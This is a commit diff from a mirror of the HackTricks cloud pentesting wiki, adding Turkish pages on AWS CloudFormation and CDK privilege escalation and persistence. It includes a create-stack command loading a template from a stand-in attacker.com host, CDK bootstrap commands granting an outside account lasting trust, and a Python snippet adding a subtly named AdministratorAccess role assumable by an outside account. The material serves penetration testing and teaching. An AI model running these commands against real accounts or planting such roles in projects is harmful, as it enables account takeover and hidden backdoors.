mirror of
https://github.com/HackTricks-wiki/hacktricks-cloud.git
synced 2026-07-29 07:00:29 -07:00
Translated ['src/pentesting-cloud/aws-security/aws-persistence/aws-cloud
This commit is contained in:
@@ -211,6 +211,7 @@
|
||||
- [AWS - Permissions for a Pentest](pentesting-cloud/aws-security/aws-permissions-for-a-pentest.md)
|
||||
- [AWS - Persistence](pentesting-cloud/aws-security/aws-persistence/README.md)
|
||||
- [AWS - API Gateway Persistence](pentesting-cloud/aws-security/aws-persistence/aws-api-gateway-persistence.md)
|
||||
- [AWS - Cloudformation Persistence](pentesting-cloud/aws-security/aws-persistence/aws-cloudformation-persistence.md)
|
||||
- [AWS - Cognito Persistence](pentesting-cloud/aws-security/aws-persistence/aws-cognito-persistence.md)
|
||||
- [AWS - DynamoDB Persistence](pentesting-cloud/aws-security/aws-persistence/aws-dynamodb-persistence.md)
|
||||
- [AWS - EC2 Persistence](pentesting-cloud/aws-security/aws-persistence/aws-ec2-persistence.md)
|
||||
|
||||
@@ -0,0 +1,23 @@
|
||||
# AWS - Cloudformation Persistence
|
||||
|
||||
{{#include ../../../banners/hacktricks-training.md}}
|
||||
|
||||
## CloudFormation
|
||||
|
||||
Daha fazla bilgi için erişin:
|
||||
|
||||
{{#ref}}
|
||||
../aws-services/aws-cloudformation-and-codestar-enum.md
|
||||
{{#endref}}
|
||||
|
||||
### CDK Bootstrap Stack
|
||||
|
||||
AWS CDK, `CDKToolkit` adında bir CFN yığını dağıtır. Bu yığın, kurban hesabına CDK projeleri dağıtmak için dış hesapların kullanılmasına izin veren `TrustedAccounts` adlı bir parametreyi destekler. Bir saldırgan, bu durumu kullanarak kendisine kurban hesabına süresiz erişim sağlayabilir; ya AWS cli kullanarak yığını parametrelerle yeniden dağıtarak ya da AWS CDK cli kullanarak.
|
||||
```bash
|
||||
# CDK
|
||||
cdk bootstrap --trust 1234567890
|
||||
|
||||
# AWS CLI
|
||||
aws cloudformation update-stack --use-previous-template --parameters ParameterKey=TrustedAccounts,ParameterValue=1234567890
|
||||
```
|
||||
{{#include ../../../banners/hacktricks-training.md}}
|
||||
+55
-10
@@ -12,7 +12,7 @@ Cloudformation hakkında daha fazla bilgi için kontrol edin:
|
||||
|
||||
### `iam:PassRole`, `cloudformation:CreateStack`
|
||||
|
||||
Bu izinlere sahip bir saldırgan, **belirtilen bir rolün izinleri altında eylemler gerçekleştirmek için** kendi sunucusunda barındırılan özel bir şablon ile bir **CloudFormation yığını** oluşturarak **yetkileri artırabilir:**
|
||||
Bu izinlere sahip bir saldırgan **yetkileri artırabilir** ve kendi sunucusunda barındırılan özel bir şablon ile bir **CloudFormation yığını** oluşturarak **belirtilen bir rolün izinleri altında eylemler gerçekleştirebilir:**
|
||||
```bash
|
||||
aws cloudformation create-stack --stack-name <stack-name> \
|
||||
--template-url http://attacker.com/attackers.template \
|
||||
@@ -28,7 +28,7 @@ iam-passrole-cloudformation-createstack-and-cloudformation-describestacks.md
|
||||
|
||||
### `iam:PassRole`, (`cloudformation:UpdateStack` | `cloudformation:SetStackPolicy`)
|
||||
|
||||
Bu durumda, **mevcut bir cloudformation yığınını** kötüye kullanarak güncelleyebilir ve önceki senaryodaki gibi ayrıcalıkları artırabilirsiniz:
|
||||
Bu durumda, **mevcut bir cloudformation yığınını** istismar ederek güncelleyebilir ve önceki senaryodaki gibi ayrıcalıkları artırabilirsiniz:
|
||||
```bash
|
||||
aws cloudformation update-stack \
|
||||
--stack-name privesc \
|
||||
@@ -43,7 +43,7 @@ aws cloudformation update-stack \
|
||||
|
||||
### `cloudformation:UpdateStack` | `cloudformation:SetStackPolicy`
|
||||
|
||||
Bu izne sahipseniz ancak **`iam:PassRole` yoksa**, yine de **kullanılan yığınları güncelleyebilir** ve **zaten eklenmiş IAM Rolleri** kötüye kullanabilirsiniz. Kötüye kullanım örneği için önceki bölüme bakın (güncellemeye herhangi bir rol belirtmeyin).
|
||||
Bu izne sahipseniz ancak **`iam:PassRole` yoksa**, yine de **kullanılan yığınları güncelleyebilir** ve **zaten eklenmiş IAM Rolleri** kötüye kullanabilirsiniz. Sömürü örneği için önceki bölüme bakın (güncellemeye herhangi bir rol belirtmeyin).
|
||||
|
||||
`cloudformation:SetStackPolicy` izni, bir yığın üzerinde **kendinize `UpdateStack` izni vermek** için kullanılabilir ve saldırıyı gerçekleştirebilirsiniz.
|
||||
|
||||
@@ -51,9 +51,9 @@ Bu izne sahipseniz ancak **`iam:PassRole` yoksa**, yine de **kullanılan yığı
|
||||
|
||||
### `iam:PassRole`,((`cloudformation:CreateChangeSet`, `cloudformation:ExecuteChangeSet`) | `cloudformation:SetStackPolicy`)
|
||||
|
||||
Bir rolü **geçirme ve bir ChangeSet oluşturma & yürütme** izinlerine sahip bir saldırgan, **yeni bir cloudformation yığını oluşturup/güncelleyerek cloudformation hizmet rollerini kötüye kullanabilir**; tıpkı CreateStack veya UpdateStack ile olduğu gibi.
|
||||
Bir rolü **geçirme ve bir ChangeSet oluşturma & yürütme** izinlerine sahip bir saldırgan, **yeni bir cloudformation yığını oluşturup/güncelleyerek cloudformation hizmet rollerini** CreateStack veya UpdateStack ile olduğu gibi kötüye kullanabilir.
|
||||
|
||||
Aşağıdaki kötüye kullanım, **ChangeSet izinlerini** kullanarak bir yığın oluşturmanın **bir varyasyonudur**[ **CreateStack birine**](./#iam-passrole-cloudformation-createstack).
|
||||
Aşağıdaki sömürü, **ChangeSet izinlerini** kullanarak bir yığın oluşturmanın **bir varyasyonudur**[ **CreateStack birine**](#iam-passrole-cloudformation-createstack).
|
||||
```bash
|
||||
aws cloudformation create-change-set \
|
||||
--stack-name privesc \
|
||||
@@ -85,26 +85,71 @@ aws cloudformation describe-stacks \
|
||||
|
||||
### (`cloudformation:CreateChangeSet`, `cloudformation:ExecuteChangeSet`) | `cloudformation:SetStackPolicy`)
|
||||
|
||||
Bu, **IAM rollerini** geçmeden önceki yöntem gibidir, bu nedenle sadece **zaten eklenmiş olanları** kötüye kullanabilirsiniz, sadece parametreyi değiştirin:
|
||||
Bu, **IAM rollerini** geçmeden önceki yöntem gibidir, bu nedenle sadece **zaten eklenmiş olanları kötüye kullanabilirsiniz**, sadece parametreyi değiştirin:
|
||||
```
|
||||
--change-set-type UPDATE
|
||||
```
|
||||
**Olası Etki:** Zaten eklenmiş olan cloudformation hizmet rolüne privesc.
|
||||
**Potansiyel Etki:** Zaten ekli olan cloudformation hizmet rolüne privesc.
|
||||
|
||||
### `iam:PassRole`,(`cloudformation:CreateStackSet` | `cloudformation:UpdateStackSet`)
|
||||
|
||||
Bir saldırgan, bu izinleri kötüye kullanarak rastgele cloudformation rollerini kötüye kullanmak için StackSet'ler oluşturup/güncelleyebilir.
|
||||
Bir saldırgan, bu izinleri kötüye kullanarak StackSet'ler oluşturup/güncelleyerek rastgele cloudformation rollerini kötüye kullanabilir.
|
||||
|
||||
**Olası Etki:** Cloudformation hizmet rollerine privesc.
|
||||
**Potansiyel Etki:** Cloudformation hizmet rollerine privesc.
|
||||
|
||||
### `cloudformation:UpdateStackSet`
|
||||
|
||||
Bir saldırgan, ekli cloudformation rollerini kötüye kullanmak için passRole izni olmadan StackSet'leri güncellemek için bu izni kötüye kullanabilir.
|
||||
|
||||
**Olası Etki:** Ekli cloudformation rollerine privesc.
|
||||
**Potansiyel Etki:** Ekli cloudformation rollerine privesc.
|
||||
|
||||
## AWS CDK
|
||||
|
||||
AWS cdk, kullanıcıların zaten aşina oldukları dillerde altyapılarını kod olarak tanımlamalarını sağlayan bir araçtır ve bölümleri kolayca yeniden kullanmalarına olanak tanır. CDK, yüksek seviyeli kodu (yani python) Cloudformation şablonlarına (yaml veya json) dönüştürür.
|
||||
|
||||
CDK'yı kullanmak için, bir yönetici kullanıcının önce hesabı başlatması gerekir; bu, \*/\* izinlerine sahip *exec rolü* dahil olmak üzere birkaç IAM rolü oluşturur. Bu roller, `cdk-<qualifier>-<name>-<account-id>-<region>` adlandırma yapısını takip eder. Başlatma, her bölge için her hesapta bir kez yapılmalıdır.
|
||||
|
||||
Varsayılan olarak, CDK kullanıcıları CDK'yı kullanmak için gereken rolleri listeleme erişimine sahip değildir, bu da bunları manuel olarak belirlemeniz gerektiği anlamına gelir. Bir geliştiricinin makinesini veya bazı CI/CD düğümlerini ele geçirirseniz, bu roller, CFN şablonlarını dağıtma yeteneği sağlamak için üstlenilebilir; `cfn-exec` rolünü kullanarak CFN'nin herhangi bir kaynağı dağıtmasına izin vererek hesabı tamamen tehlikeye atabilirsiniz.
|
||||
|
||||
### Rol adlarını belirleme
|
||||
|
||||
Eğer `cloudformation:DescribeStacks` iznine sahipseniz, roller `CDKToolkit` adlı bir yığında tanımlıdır ve isimleri oradan alabilirsiniz.
|
||||
|
||||
Eğer CDK projelerini oluşturmak ve dağıtmak için kullanılmış bir makinedeyseniz, bunları projelerin kök dizinindeki `cdk.out/manafest.json` dosyasından alabilirsiniz.
|
||||
|
||||
Ayrıca, bunların ne olduğunu iyi bir tahminle belirleyebilirsiniz. `qualifier`, birden fazla CDK başlatma örneğinin aynı anda dağıtılmasına izin veren rollere eklenen bir dizedir; ancak varsayılan değer `hnb659fds` olarak sabitlenmiştir.
|
||||
```
|
||||
# Defaults
|
||||
cdk-hnb659fds-cfn-exec-role-<account-id>-<region>
|
||||
cdk-hnb659fds-deploy-role-<account-id>-<region>
|
||||
cdk-hnb659fds-file-publishing-role-<account-id>-<region>
|
||||
cdk-hnb659fds-image-publishing-role-<account-id>-<region>
|
||||
cdk-hnb659fds-lookup-role-<account-id>-<region>
|
||||
```
|
||||
### Proje kaynağına kötü niyetli kod ekleme
|
||||
|
||||
Eğer proje kaynağına yazabiliyorsanız, ancak kendiniz dağıtamıyorsanız (örneğin, geliştirici kodu CI/CD aracılığıyla dağıtıyorsa, yerel makine üzerinden değil), yine de yığın içine kötü niyetli kaynaklar ekleyerek ortamı tehlikeye atabilirsiniz. Aşağıdaki, bir saldırgan hesabı tarafından üstlenilebilecek bir IAM rolünü bir python CDK projesine ekler.
|
||||
```python
|
||||
class CdkTestStack(Stack):
|
||||
def __init__(self, scope: Construct, construct_id: str, **kwargs) -> None:
|
||||
super().__init__(scope, construct_id, **kwargs)
|
||||
|
||||
# ----------
|
||||
# Some existing code.....
|
||||
# ----------
|
||||
|
||||
role = iam.Role(
|
||||
self,
|
||||
"cdk-backup-role", # Role name, make it something subtle
|
||||
assumed_by=iam.AccountPrincipal("1234567890"), # Account to allow to assume the role
|
||||
managed_policies=[
|
||||
iam.ManagedPolicy.from_aws_managed_policy_name("AdministratorAccess") # Policies to attach, in this case AdministratorAccess
|
||||
],
|
||||
)
|
||||
```
|
||||
## Referanslar
|
||||
|
||||
- [https://rhinosecuritylabs.com/aws/aws-privilege-escalation-methods-mitigation/](https://rhinosecuritylabs.com/aws/aws-privilege-escalation-methods-mitigation/)
|
||||
- [https://github.com/aws/aws-cdk-cli/blob/main/packages/aws-cdk/lib/api/bootstrap/bootstrap-template.yaml](https://github.com/aws/aws-cdk-cli/blob/main/packages/aws-cdk/lib/api/bootstrap/bootstrap-template.yaml)
|
||||
|
||||
{{#include ../../../../banners/hacktricks-training.md}}
|
||||
|
||||
+9
-3
@@ -4,7 +4,7 @@
|
||||
|
||||
## CloudFormation
|
||||
|
||||
AWS CloudFormation, **AWS kaynaklarının yönetimini kolaylaştırmak** için tasarlanmış bir hizmettir. Kullanıcıların, **kaynak yönetimine harcanan zamanı en aza indirerek** AWS'de çalışan uygulamalarına daha fazla odaklanmalarını sağlar. Bu hizmetin temel özelliği, istenen AWS kaynaklarının **şablonu**—açıklayıcı bir modeldir. Bu şablon sağlandığında, CloudFormation belirtilen kaynakların **sağlanması ve yapılandırılmasından** sorumludur. Bu otomasyon, AWS altyapısının daha verimli ve hatasız bir şekilde yönetilmesini kolaylaştırır.
|
||||
AWS CloudFormation, **AWS kaynaklarının yönetimini kolaylaştırmak** için tasarlanmış bir hizmettir. Kullanıcıların, **kaynak yönetimine harcanan zamanı en aza indirerek** AWS'de çalışan uygulamalarına daha fazla odaklanmalarını sağlar. Bu hizmetin temel özelliği, istenen AWS kaynaklarının **şablonu**—açıklayıcı bir modelidir. Bu şablon sağlandığında, CloudFormation belirtilen kaynakların **sağlanması ve yapılandırılmasından** sorumludur. Bu otomasyon, AWS altyapısının daha verimli ve hatasız bir şekilde yönetilmesini kolaylaştırır.
|
||||
|
||||
### Enumeration
|
||||
```bash
|
||||
@@ -37,13 +37,19 @@ Aşağıdaki sayfada **cloudformation izinlerini kötüye kullanarak ayrıcalık
|
||||
../aws-privilege-escalation/aws-cloudformation-privesc/
|
||||
{{#endref}}
|
||||
|
||||
### Persistence
|
||||
|
||||
{{#ref}}
|
||||
../aws-persistence/aws-cloudformation-persistence.md
|
||||
{{#endref}}
|
||||
|
||||
### Post-Exploitation
|
||||
|
||||
Her CloudFormation'ın **şablon, parametreler ve çıktı** kısmında **gizli bilgiler** veya hassas bilgiler için kontrol edin.
|
||||
Her CloudFormation'ın **şablon, parametreler ve çıktı** kısmında **gizli bilgiler** veya hassas bilgiler arayın.
|
||||
|
||||
## Codestar
|
||||
|
||||
AWS CodeStar, AWS üzerinde yazılım geliştirme projeleri oluşturmak, yönetmek ve çalışmak için bir hizmettir. AWS CodeStar projesi ile AWS üzerinde uygulamaları hızlı bir şekilde geliştirebilir, oluşturabilir ve dağıtabilirsiniz. Bir AWS CodeStar projesi, proje geliştirme araç zinciriniz için **AWS hizmetlerini** oluşturur ve entegre eder. Seçtiğiniz AWS CodeStar proje şablonuna bağlı olarak, bu araç zinciri kaynak kontrolü, derleme, dağıtım, sanal sunucular veya sunucusuz kaynaklar ve daha fazlasını içerebilir. AWS CodeStar ayrıca **proje kullanıcıları için gereken izinleri yönetir** (takım üyeleri olarak adlandırılır).
|
||||
AWS CodeStar, AWS üzerinde yazılım geliştirme projeleri oluşturmak, yönetmek ve çalışmak için bir hizmettir. AWS CodeStar projesi ile AWS üzerinde uygulamaları hızlı bir şekilde geliştirebilir, oluşturabilir ve dağıtabilirsiniz. Bir AWS CodeStar projesi, proje geliştirme araç zinciriniz için **AWS hizmetlerini** oluşturur ve entegre eder. Seçtiğiniz AWS CodeStar proje şablonuna bağlı olarak, bu araç zinciri kaynak kontrolü, derleme, dağıtım, sanal sunucular veya sunucusuz kaynaklar ve daha fazlasını içerebilir. AWS CodeStar ayrıca proje kullanıcıları için gereken **izinleri yönetir** (takım üyeleri olarak adlandırılır).
|
||||
|
||||
### Enumeration
|
||||
```bash
|
||||
|
||||
Reference in New Issue
Block a user